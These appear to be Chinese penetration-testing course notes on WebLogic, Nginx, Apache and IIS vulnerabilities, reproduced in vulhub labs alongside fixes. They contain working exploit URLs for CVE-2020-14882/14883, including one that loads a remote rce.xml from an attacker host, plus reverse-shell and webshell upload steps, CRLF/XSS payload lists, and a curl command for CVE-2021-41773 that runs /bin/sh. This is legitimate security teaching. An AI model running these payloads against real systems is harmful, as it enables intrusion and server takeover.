中间件及框架漏洞4

八、应用服务器漏洞之weblogic漏洞原理

8.1 CVE-2020-14882权限验证绕过漏洞

原理：通过构造特定的URL，让未授权的用户绕过管理控制台权限验证，访问后台系统。不过访问

的是低权限用户，该账户无法安装新应用，也直接执行任意代码。

测试权限绕过漏洞

访问如下URL即可未授权访问管理后台：访问失败就清空缓存多访问几次

http://192.168.1.9:7001/console/css/%252e%252e%252fconsole.portal

访问后台后，我们发现是低权限用户，无法直接执行任意代码。

此时需要利用第二个漏洞(CVE-2020-14883)，两种利用方式。

8.2 CVE-2020-14883任意命令执行漏洞

利用此漏洞允许后台任意用户通过HTTP协议执行任意命令。用这两个漏洞组成的利用链，可

通过一个HTTP 请求在远程Weblogic 服务器上以未授权的任意用户身份执行命令。

漏洞利用方法1：

通过类：com.tangosol.coherence.mvel2.sh.ShellSession

直接访问如下URL，即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令：

http://192.168.1.9:7001/console/css/%252e%252e%252fconsole.portal?_nfpb

=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession

("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

漏洞利用方法2：

通过类：com.bea.core.repackaged.springframework.context.support.FileSystemX mlApplic

ationContext

在自己的站点上构造一个XML文件，代码poc网上有。

然后通过如下URL即可让Weblogic加载此XML文件并执行其中的命令

http://192.168.1.9:7001/console/css/%252e%252e%252fconsole.portal?_nfpb

=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.

support.FileSystemXmlApplicationContext("http://192.168.1.11/rce.xml")

8.3 Weblogic弱口令漏洞

漏洞说明：Weblogic后台管理系统登录用户名和密码一般都有一些默认值，不限版本，如果没有

修改密码的话会出现弱口令漏洞，可以百度查看常见的用户名和密码组合。

漏洞复现：使用vulhub靶场打开漏洞容器

1、访问网址：http://192.168.1.9:7001/console

会自动跳转到登录页面：http://192.168.0.27:7001/console/login/LoginForm.jsp

2、使用weblogic常用用户名和密码进行尝试登录后台，登录成功。

3、正常渗透测试到到此即可上报，若想控制服务器，可在后台系统部署项目位置上传木马。

漏洞利用

上传部署jobfan.war木马文件

直接用网站和War包里木马文件名访问：192.168.1.9:7001/jobfan/2010.jsp——利用成功。

8.4 Weblogic未授权远程代码执行漏洞(CVE-2023-21839)

漏洞说明

CVE-2023-21839漏洞允许未授权的远程用户通过IIOP/T3协议执行JNDI lookup查找操作。

在JDK版本较低或系统中存在javaSerializedData 工具的情况下，这可能导致远程代码执行RCE

漏洞。由于Weblogic的t3/iiop协议支持远程对象绑定到服务端并可通过lookup查询。当远程对

象是基于OpaqueReference是，查询这些对象时，服务端会调用其getReferent方法。

在weblogic.deployment.jms.ForeignOpaqueReference类中，实现了getReferent方法，并

使用了context.lookup(this.remoteJNDIName)进行对象查询。 因此攻击者可以利用rmi/ldap远

程协议执行远程命令。

影响版本：Oracle Weblogic Server 12.2.1.3.0——12.2.1.4.0——14.1.1.0.0

漏洞复现：用vulhub提供的容器复现，借助专门检测此漏洞的exp工具在kail进行检测。

1、创建检测程序

2、借助JNDIExploit工具来利用此RCE漏洞反弹shell：

3、使用JNDIExploit-1.2-SNAPSHOT.jar在kali上设置监听：

4、还是在此虚拟机，再打开一个终端开启监听端口

5、使用CVE-2023-21839工具来进行攻击测试：将1389端口转发到监听端口

6、若发现JNDIExploit转发监听的窗口报错原因：是JDK版本的问题，需jdk1.8.0.202版本。

7、安装最新java运行环境，重新运行JNDIExploit转发监听：

8、反弹shell成功

8.5 XMLDecoder反序列化漏洞（CVE-2017-10271）

漏洞原理

Weblogic的WLS Security组件对外提供webservice服务，其中使用XMLDecoder 来

解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。攻

击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

影响版本10.3.6.0，12.1.3.0.0，12.2.1.1.0

漏洞复现：使用vulhub靶场来复现

反弹shell演示

1、访问网站：然后访问这个页面抓包，改包。

修改数据包如下：Vulhub - Open-Source Vulnerable Docker Environments

2、用另一个主机开启nc监听，用于接受反弹回来的shell

3、发送数据包

4、反弹shell成功

还可以直接植入webshell

1、修改数据包：在指定位置写入jsp木马

2、访问写入代码的网址：http://192.168.1.9:7001/bea_wls_internal/test.jsp

3、写入成功

漏洞原理

CVE-2020-14882和CVE-2020-14883是两个安全漏洞。CVE-2020-14882 可以让未授权

的用户绕过管理控制台权限验证，访问后台系统。而CVE-2020-14883则允许后台任意用户

通过HTTP协议执行任意命令。利用这两个漏洞组合成的利用链，攻击者仅通过一个GET请

求，就能在远程Weblogic服务器上以未授权的任意用户身份执行命令。

影响版本：WebLogic10.3.6.0.0——12.1.3.0.0——12.2.1.3.0——12.2.1.4.0——14.1.1.0.0

漏洞复现：使用vulhub来复现

1、先测试权限绕过漏洞(CVE-2020-14882)，访问如下URL即可未授权访问管理后台：

http://192.168.1.9:7001/console/css/%252e%252e%252fconsole.portal

访问失败就清空缓存多访问几次

1. 访问后台后，我们发现是低权限用户，无法直接执行任意代码。

3、此时需要利用第二个漏洞(CVE-2020-14883)，两种利用方式。

方式1：通过com.tangosol.coherence.mvel2.sh.ShellSession

方式2：通过com.bea.core.repackaged.springframework.context.support.

FileSystemXmlApplicationContext

方法1：通过执行下面代码创建此文件：

访问URL时在对应位置添加指令即可利用com.tangosol.coherence.mvel2.sh.ShellSession类来

执行命令：会报错，但是指令会执行成功，这就完成了任意操作系统指令的执行。

如上方法只能在Weblogic 12.2.1以上版本利用。

因为10.3.6版本不存在com.tangosol.coherence.mvel2.sh.ShellSession 类。

方法2：此类对所有版本有效，最早在CVE-2019-2725被提出：com.bea.core.repackaged.

springframework.context.support.FileSystemXmlApplicationContext

1、首先要构造一个XML文件，并保存在自己创建的服务器上。

此服务器要求使用Weblogic可以访问到。如：http://example.com/rce.xml

2、在Kali虚拟机上直接启动nginx，然后在nginx站点根目录下面创建上面的rce.xml文件。

3、直接访问这个xml文件看效果：http://192.168.1.11/rce.xml

4、然后通过URL即可让Weblogic加载此XML文件并执行其中的命令：

5、进入docker容器内发现success2文件创建成功，表示代码指令执行成功

此利用方法缺点：需要Weblogic的服务器能够访问到恶意XML文件。

8.6 Weblogic的其它反序列化漏洞

下面两个反序列化漏洞自行研究，其中2019年那个在安全开发部分也会讲到。

Weblogic WLS Core Components反序列化命令执行漏洞(CVE-2018-2628)

漏洞说明

Weblogic Server 通过T3协议实现RMI通信，该协议用于在其服务器实例与Java程序(无论

是客户端还是其它Weblogic Server实例)之间传输数据。服务器实例会监控连接至应用程序的每

个Java虚拟机(JVM），并建立T3通信连接，以此将数据流量导向相应的Java虚拟机。T3协议在

WebLogic控制台端口上默认为启用。然而这一特性也可能被攻击者利用， 通过发送恶意反序列化

数据来进行反序列化操作，实现对存在缺陷的Weblogic组件执行远程代码。

影响版本：Oracle Weblogic Server10.3.6.0.0——12.1.3.0.0——12.2.1.2.0、O——12.2.1.3.0

Weblogic反序列化远程代码执行漏洞（CVE-2019-2725）

漏洞说明

WebLogic Server的wls9-async组件负责提供异步通信服务， 并在某些WebLogic 版本中默

认安装。然而该组件在处理反序列化输入时存在安全漏洞。 攻击者可以利用这一缺陷，通过发送

特定构造的恶意HTTP请求，来实现对目标服务器的未授权访问，并在远程执行命令，从而获得服

务器控制权。

影响版本：Oracle WebLogic Server 10.*、Oracle WebLogic Server 12.1.3

影响组件：bea_wls9_async_response.war、wsat.war

九、Web服务器之Nginx漏洞介绍

9.1 Nginx的三个配置错误漏洞

三个配置不当导致的nginx漏洞，对所有版本的nginx都有影响，且容易引起忽视。

①CRLF注入漏洞

漏洞原理：

CRLF是指"回车CR + 换行LF"组合，编码为\r\n，在十六进制中为0x0d和0x0a分别代表回

车(Carriage Return)和换行(Line Feed)字符。在网络通信中，CRLF常被用作数据分隔符。特别

是在HTTP协议中，消息头与消息头之间、消息头与消息体之间都是由CRLF 序列来分隔。浏览器

依据这些CRLF分隔符来解析HTTP响应，提取出网页内容进行显示。

如果说攻击者能控制用户输入，然后在HTTP响应的头部实施回显，就可能通过注入CRLF字符

来恶意结束响应头部，从而在响应体中插入恶意内容。这种攻击方式被称为CRLF注入或HTTP响应

拆分/截断，它能允许攻击者插入额外的HTTP头部或修改现有头部，可能导致诸如跨站脚本（XSS）

等安全问题。

示例：111%0d%0a222%0d%0a%0d%0a333

%0d%0a代表一个回车和换行。结果单个CRLF字符会导致文本在浏览器中换行，而两个连续的

CRLF字符则会插入一个空行。这种插入可用于HTTP响应头部，从而影响响应完整性和内容展示。

CRLF注入漏洞与XSS 漏洞在攻击方式上有相似之处，它们都涉及到攻击者向Web应用程序输

入恶意数据。区别在于CRLF注入漏洞主要影响HTTP响应头，而XSS漏洞则通常影响Web页面的主

体内容。通常可以采用类似于检测XSS的方法检测CRLF注入漏洞：通过修改HTTP参数或URL来注

入恶意CRLF字符，并检查这些字符是否出现在HTTP响应头中。

总结，CRLF注入是利用回车换行符进行攻击，通过注入不同数量的CRLF字符，攻击者可以操

纵应用程序设置任意响应头，甚至控制响应正文。此漏洞可能导致多种安全问题，包括操纵 HTTP

响应头中键值对、执行XSS攻击、发起缓存病毒攻击、以及进行日志伪造等。

漏洞环境搭建：启动vulhub靶场环境，启动后，会开启8080，8081，8082端口。

直接访问8080端口看效果：IP地址为 192.168.1.9

漏洞复现：抓包——添加会话固定payload：/%0aSet-cookie:JSPSESSID%3Dpanch

设置cookie就可以完成会话固定的攻击行为，以后用户访问此网站会被动用到此cookie身份。

查看配置：可见，通过注入就可以控制响应头键值对？是什么原因？

查看nginx配置文件：

某些网站为统一用户访问的域名或访问协议，在跳转过程中，需保证用户访问的页面不变，自

动跳转到正确网址，所以需从Nginx获取用户请求的文件路径，然后Nginx自动完成跳转，这就需

要对Nginx进行配置。

查看Nginx文档，可以发现有三个表示uri的变量可以用于自动跳转网址：

$uri、$document_uri、$request_uri

因$uri和$document_uri是解码后的请求路径，可能包含换行符，造成CRLF注入漏洞。

CRLF注入XSS攻击代码

用burp 抓包：在发送两连续的换行\r\n后，可直接修改返回报文的返回体，插入js代码引发XSS

payload如下：/%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

注意问题：

浏览器的Filter(过滤器)是应对反射型XSS做的保护策略，当url中含有XSS相关特征时会

过滤掉不显示在页面中，所以不能触发XSS。

当数据包中 HTTP头含有X-XSS-Protection且值为 0 时，浏览器才不会开启Filter。

将X-XSS-Protection:0 注入到数据包中，再用两个CRLF来注入XSS 代码，来绕过Filter，并执

行反射型 XSS。payload如下：

/%0aX-XSS-Protection:%200%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

CRLF Payload如下：

//探测漏洞：

%0d%0aheader:header

%0aheader:header

%0dheader:header

//开放重定向：

/www.google.com/%2f%2e%2e%0d%0aheader:header

//CRLF-XSS：

%0d%0aContent-Length:35%0d%0aX-XSS

Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e

//XSS绕过：

%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent

Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/

//Location：

%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent

Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E

漏洞防御：

1. 对用户数据进行合法性校验，对特殊字符进行编码，如<、>、’、”、CR、LF等，限制用户输

入CR和LF，或对CR和LF字符正确编码后再输出，以防止注入自定义HTTP头。

2、创建安全字符白名单，只接受白名单中的字符出现在 HTTP 响应头文件中。

3、在将数据传送到 http 响应头之前，删除所有的换行符。

②目录穿越漏洞

漏洞说明：

这个常见于Nginx做反向代理的情况，动态部分被proxy_pass传递给后端端口，而静态文件

需要Nginx来处理。

假设静态文件存储在/home/目录下，而该目录在URL中名字为files，那么就需要用alias设

置目录的别名，看配置：一个有斜杠后缀，一个没有。

效果：访问http://example.com/files/readme.txt就可以获取/home/readme.txt文件

漏洞原理：

注意：URL上/files没有加后缀 /，而alias设置的/home/是有后缀 / 的，这个 / 就导致我

们可以从 /home/ 目录穿越到它的上层目录。

漏洞复现：

访问刚刚启动的镜像：http://192.168.1.9:8081/files../

此时获得一个目录穿越漏洞，可以进行任意文件下载。

③HTTP header头覆盖

这个示例现在基本不能复现出来了，但是也是有参考价值。

Nginx安全配置策略说明

在nginx中可以添加很多安全配置响应策略，主要用add_header来指定安全策略

add_header X-Frame-Options SAMEORIGIN;

add_header X-Content-Type-Options: nosniff;

add_header Content-Security-Policy "default-src 'self' ";

add_header X-Xss-Protection 1;

除上述之外，还有很多可以自行研究一下：

X-Frame-Options

此响应头用来给浏览器指示是否允许一个页面在<frame>，<iframe>或<object>标签中

展现。网站可以使用此功能， 来确保自己网站的内容没有被嵌到别人的网站中去，也从而

避免了点击劫持(clickjacking)的攻击。

X-Content-Type-Options

此配置用来指定浏览器对未指定或错误指定的 Content-Type 资源真正类型的猜测行

为，nosniff 表示不允许任何猜测，互联网上的资源有各种类型，通常浏览器会根据响应

头的 Content-Type 字段来分辨它们的类型。如：text/html代表html文档，image/png

代表PNG图片，text/css是CSS样式文档。而有些资源的Content-Type 是错的或者未定

义的。这时某些浏览器会启用MIME sniffing来猜测该资源的类型，解析内容并执行。

Content-Security-Policy

主要是用来定义页面可以加载哪些资源，减少 XSS 的发生。

X-Xss-Protection

顾名思义，这个响应头是用来防范XSS的。现在主流浏览器都支持，并且默认都开启

了XSS保护，用这个header可以关闭它。

X-Frame-Options配置演示：

在桌面创建iframe.html演示文件

在火狐浏览器打开此文件

将上一个目录穿越漏洞的网址写入文件

保存再次用火狐打开此文件：发现网站出现在标签里

这就是Frame-Options漏洞，也叫点击劫持漏洞：添加X-Frame-Options配置预防。

可以用来钓鱼，劫持用户在网站里填写的东西。（将边框去除，几乎看不出网站的异常）

了解Content-Security-Policy等策略：看笔记

9.2 Nginx解析漏洞

路径遍历漏洞原理

大致原理：该漏洞与nginx、php版本无关，属于配置不当造成的解析漏洞。

在php.ini配置文件中有个cgi.fix_pathinfo配置。

配置被注释掉时，其值默认为1，表示开启。

取消注释后，值1为开启，值0为关闭。

①配置漏洞示例

开启Nginx的cgi.fix_pathinfo配置

上传一个木马文件php.php到根目录并改名为php.jpg

尝试访问：默认无法解析

访问路径后添加一个不存在的php文件：http://192.168.1.7/pikachu/php.jpg/aaa.php

此时会访问到前一个文件：原理如下

若nginx.conf配置没问题，则nginx会先找aaa.php文件是否存在，若存在则找php解释器

来执行代码，不存在则nginx会直接返回错误信息，提示找不到该文件。

但若nginx.conf配置不当，会导致nginx把.php后缀的文件交给fastcgi处理，首先nginx

看到路径中要找aaa.php文件，会直接交给fastcgi配置，而fastcgi配置又去找php解释器去处

理该路径，而php开启了cgi.fix_pathinfo配置，那么php解释器处理此路径时，发现没有aaa.php

文件，它就会找路径中上一层路径的文件作为aaa.php来运行，若找到的是web.jpg文件，就会将

web.jpg当作aaa.php来运行，所以代码被执行。

漏洞修复：此配置虽然被注释，但默认为开启状态，影响较大。

取消注释：将值设置为0来关闭配置

9.3其它漏洞形式

①路径遍历漏洞

www.xxxx.com/UploadFiles/image/1.jpg/1.php

②%00空子节截断漏洞

www.xxxx.com/UploadFiles/image/1.jpg%00.php

除apache外，nginx也有%00截断漏洞，其效果是1.jpg被当成php文件来解析。

www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php也算是00截断的一种。

若Nginx <0.8.03版本，存在空字节代码执行漏洞

漏洞修复：添加配置，在Nginx配置文件中添加如下代码：

意为当匹配到类似test.jpg/a.php的URL时，将返回403错误代码。

if ( $fastcgi_script_name ~ ..*/.*php ) {

return 403;

}

9.4 Nginx本身的漏洞(了解不多)

针对Nginx的漏洞修复，通常所说的Nginx固定版本漏洞，是指在Nginx自身程序代码中存在

的设计缺陷或程序错误，这类漏洞通常只会影响特定版本的 Nginx。为修复这些固有漏洞，一般按

照官方发布的补丁进行及时更新，或者直接升级到更高版本的Nginx以获得安全增强和功能改进。

① Nginx的DNS解析漏洞（CVE-2021-23017）

Nginx在处理DNS响应时，由于ngx_resolver_copy()中的off-byone越界写入错误， 将允许

攻击者在堆分配的缓冲区中写入超出边界的点字符('.', 0x2E)。配置解析程序原语时，响应nginx

服务器DNS请求的DNS响应可能会触发该漏洞。

通过使用0x2E构造的数据包覆盖下一个堆块元数据的最低有效字节，从而导致能向nginx服

务器提供DNS响应的攻击者可实现拒绝服务攻击或远程代码执行攻击。由于nginx中缺少DNS欺骗

防御措施，且在检查DNS事务ID之前调用了易受攻击的函数，因此攻击者可通过在可行时间内向

目标服务器发送恶意DNS响应来利用漏洞实施攻击。

简而言之，攻击者可以通过点字符0x2E来覆盖下一个堆块的元数据，构造恶意的DNS响应来

触发漏洞，并在目标系统上执行任意代码。受影响Nginx版本：0.6.18-1.20.0

② CVE-2019-9511，CVE-2019-9513，CVE-2019-9516

在Nginx1.9.51-16.0及1.17.2版本中的HTTP/2实现中存在拒绝服务漏洞，攻击者以多个数

据流请求特定资源上的大量数据，通过操纵窗口大小和流优先级，强迫服务器将数据排列在1字节

的块中，导致CPU 及内存资源耗尽，造成拒绝服务。

③ CVE-2018-16844

在Nginx1.15.5之前和1.14.1版本中的HTTP/2实现过程中存在安全漏洞。远程攻击者可通过

发送恶意的请求利用该漏洞造成拒绝服务。

④CVE-2018-16843

在nginx 1.15.6和1.14.1之前版本的HTTP/2 实现过程中存在安全漏洞。攻击者可利用该漏

洞消耗大量的内存空间。

⑤CVE-2018-16845

在Nginx 1.15.5及之前和1.14.1版本中的ngx_http_mp4_module组件存在内存泄露漏洞，该

漏洞源于程序没有正确处理MP4文件。 远程攻击者可利用该漏洞获取敏感信息或造成拒绝服务。

⑥CVE-2017-20005

在Nginx1.13.6之前存在安全漏洞，该漏洞源于当autoindex模块遇到这个文件时，会导致一

个整数溢出。

十、Web服务器之Apache漏洞

10.1 Apache的3个漏洞示例（针对所有版本）

① Apache多后缀名解析漏洞

漏洞原理：

参考：Vulhub - Open-Source Vulnerable Docker Environments

漏洞复现：启动实验容器

访问如下文件路径：http://192.168.1.9/uploadfiles/apache.php.jpeg

访问上传的shell成功

② Apache HTTPD换行解析漏洞(cve-2017-15715)

漏洞说明：

CVE-2017-15715 的出现是由于Apache 在修复第一个后缀名解析漏洞时，使用正则表达式匹

配后缀，在解析php时xxx.php\x0A 将对php后缀进行解析，导致绕过一些服务器的安全策略。

影响版本:Apache HTTPd 2.4.0~2.4.29。

漏洞原理：

Apache HTTP服务器在对正则表达式特殊字符“$”的处理。在正则表达式中，“$”通常用来

指示字符串的结尾。如果配置文件中的RegExp 对象Multiline 属性被启用，那么“$”字符不仅

会匹配字符串的结束，还会匹配换行符（如“\n”或“\r”）。这意味着， 为了匹配字面意义上

的“$”字符，需要使用反斜杠进行转义，即“\$”。

漏洞利用：在上传文件时， 可以在文件名后添加一个十六进制编码的换行符（如“\x0A”），生

成一个类似“1.php\x0A”的文件名。由于Apache服务器在解析时会将这个换行符当作文件名的一

部分， 攻击者就能绕过那些基于文件后缀名检测的安全措施，即使后缀名在黑名单中，文件也能

被正常解析。

理论上只要使用正则来匹配文件后缀名，就有可能存在该漏洞。

受影响的Apache版本中，此漏洞在默认配置下就能被利用。故系统管理员要确保及时更新到最新

版本，或在服务器配置中禁用RegExp对象的Multiline属性，以防此类攻击。

漏洞复现：打开vulhub容器

访问网站：192.168.1.9:8080

上传1.php一句话木马文件并抓包——在16进制位置添加换行符编码

再次发送：没有提示bad files了

访问上传的这个文件——即可利用文件（建议上传phpinfo()文件，访问时效果明显）

此处可以用专门的Webshell工具利用木马。

③ Apache HTTP Server 2.4.49路径穿越漏洞(CVE-2021-41773)

漏洞说明：

利用这个漏洞可以读取到Apache服务器web目录以外的其他文件，或读取web中的脚本源码，

如果服务器开启CGI或cgid服务，还可进行任意代码执行。

影响版本：是Apache HTTP Server 2.4.49。

因修复不完整，在版本Apache HTTP Server 2.4.50仍有影响。

漏洞原理：

在对发送的请求中的路径参数进行规范化时，其使用的ap_normalize_path()函数会对路径参

数先进行url解码，然后判断是否存在 ../ 路径穿越符。检测到路径中存在 % 字符时，若其紧跟

的两个字符是十六进制字符，则程序会对其进行 url解码，将其转换成标准字符，如%2e会被转换

为 .点。若转换后的标准字符为 . 点，此时程序会立即判断其后两字符是否为 ./ ，从而判断是

否存在未经允许的 ../ 路径穿越行为。

若路径中存在%2e./形式，程序就会检测到路径穿越符。但当出现.%2e/或%2e%2e/的形式，程

序就不会将其检测为路径穿越符。原因是因为遍历到第一个 . 字符时，程序检测到其后两字符为%2

而非./，就不判断其为 ../符。因此攻击者可以用.%2e/或 %2e%2e/ 绕过程序对路径穿越符的检测，

从而读取位于Apache服务器web目录以外的其他文件，或读取web目录中的脚本文件源码，或者

在开启了 cgi 或 cgid 的服务器上执行任意命令。本质上，这一漏洞属于代码层面的逻辑漏洞。

漏洞复现：启动容器后访问——抓包改包

改包payload如下：/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

路径穿越成功，拿到敏感文件信息：

用POST请求执行指令，payload如下：/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh

通过curl来利用

curl -v --data "echo;id" 'http://ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

还可以使用该漏洞专门的利用工具

https://github.com/inbug-team/CVE-2021-41773_CVE-2021-42013

10.2 Apache其它解析漏洞

漏洞原理

   Apache解析文件的规则是从右往左开始判断解析，若后缀名为不可识别解析的，就再往左判断。

如：test.php.owf.rar文件“.owf”和”.rar” 这两种后缀是Apache不可识别解析的，则Apache

就会把xx.php.owf.rar解析成php文件。

①解析漏洞：自动忽略不可解析漏洞

在Apache2.2版本及之前的站点目录将phpinfo.php改为phpinfo.php.xxxx然后访问。

②其余配置漏洞1

在Apache的httpd-conf文件里有AddType application/x-httpd-php .jpg配置。即使扩展

名是 .jpg结尾，一样能以php文件方式来解析，如xx.jpg文件。

添加一个phpinfo.jpg文件

访问phpinfo.jpg文件

③其余配置漏洞2

若在Apache的httpd-conf文件里有AddHandler php5-script .php配置。那么只要文件名里

包含 .php字段，即使文件名是test2.php.jpg 也会以php文件来解析。

添加一个phpinfo.php.jpg文件

访问phpinfo.php.jpg文件

10.3 Apache漏洞修复

①禁止执行 .php.文件

禁止执行 .php.这样的文件，在Apache配置文件里面加入如下配置

<Files ~ “.(php.|php3.)”>

       Order Allow,Deny

       Deny from all

</Files>

②采用伪静态

采用伪静态，重写类似.php.*这类的文件：

1、打开Apache的httpd-conf配置文件。

2、找到LoadModule rewrite_module modules/mod_rewrite.so配置。

3、把 # 号去掉。

4、保存Apache配置文件，重启PHP study服务。

5、在网站根目录下建立 .htaccess文件，添加如下代码：

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteRule .(php.|php3.) /index.php

RewriteRule .(pHp.|pHp3.) /index.php

RewriteRule .(phP.|phP3.) /index.php

RewriteRule .(Php.|Php3.) /index.php

RewriteRule .(PHp.|PHp3.) /index.php

RewriteRule .(PhP.|PhP3.) /index.php

RewriteRule .(pHP.|pHP3.) /index.php

RewriteRule .(PHP.|PHP3.) /index.php

</IfModule>

十一、IIS5.x-IIS6.x解析漏洞

使用IIS5.x-IIS6.x版本的服务器，大多为Windows server 2003系统，网站都比较古老，一

般为asp开发语言。其解析漏洞也只能解析asp文件，不能解析aspx文件。

Win7 - Win10中多为iis7.x-8.x高版本服务器。

目录解析(6.0)

形式：www.xxx.com/xx.asp/xx.jpg

原理：服务器默认会把xx.asp和xx.asa目录下的文件都解析成asp文件。

文件解析

形式：www.xxx.com/xx.asp;.jpg

原理：服务器默认不解析分号;后的内容，因此xx.asp;.jpg会被解析成asp文件。

解析文件类型

IIS6.0 默认的可执行文件除了asp还包含这三种

/test.asa

/test.cer

/test.cdx

修复方案

目前尚无微软官方补丁，可自行编写正则，阻止上传xx.asp;.jpg类型的文件名。

做好权限设置，限制用户创建文件夹。

11.1 漏洞演示

①目录解析演示

在IISasp虚拟机站点目录新建 .asp后缀文件夹。

服务器默认会把 .asp和.asa目录下的任意后缀名的文件都解析成asp文件。

上传asp.jpg文件，尝试访问

有个前提条件，就是用户对目录有修改权限。

通过抓包发现其中的目录是可以通过请求来改变的，那么这种情况下很有可能成功。

②文件解析演示

上传asp.asp;.jpg文件，iis能够对这个文件类型进行解析。

访问文件——访问成功

③解析文件类型演示

IIS6.0默认可执行文件除asp还包含三种：

/test.asa    /test.cer     /test.cdx

这三种也会被当作脚本解析，开发人员做黑名单时不加入此三种文件会导致漏洞。

上传一个cer后缀文件——访问此文件——访问成功

11.2 IIS7.x解析漏洞（没怎么了解）

IIS7.5漏洞与nginx类似，均由于php.ini配置文件开启了cgi.fix_pathinfo，而这并不是

nginx或者iis7.5本身的漏洞，都是配置不当引起的。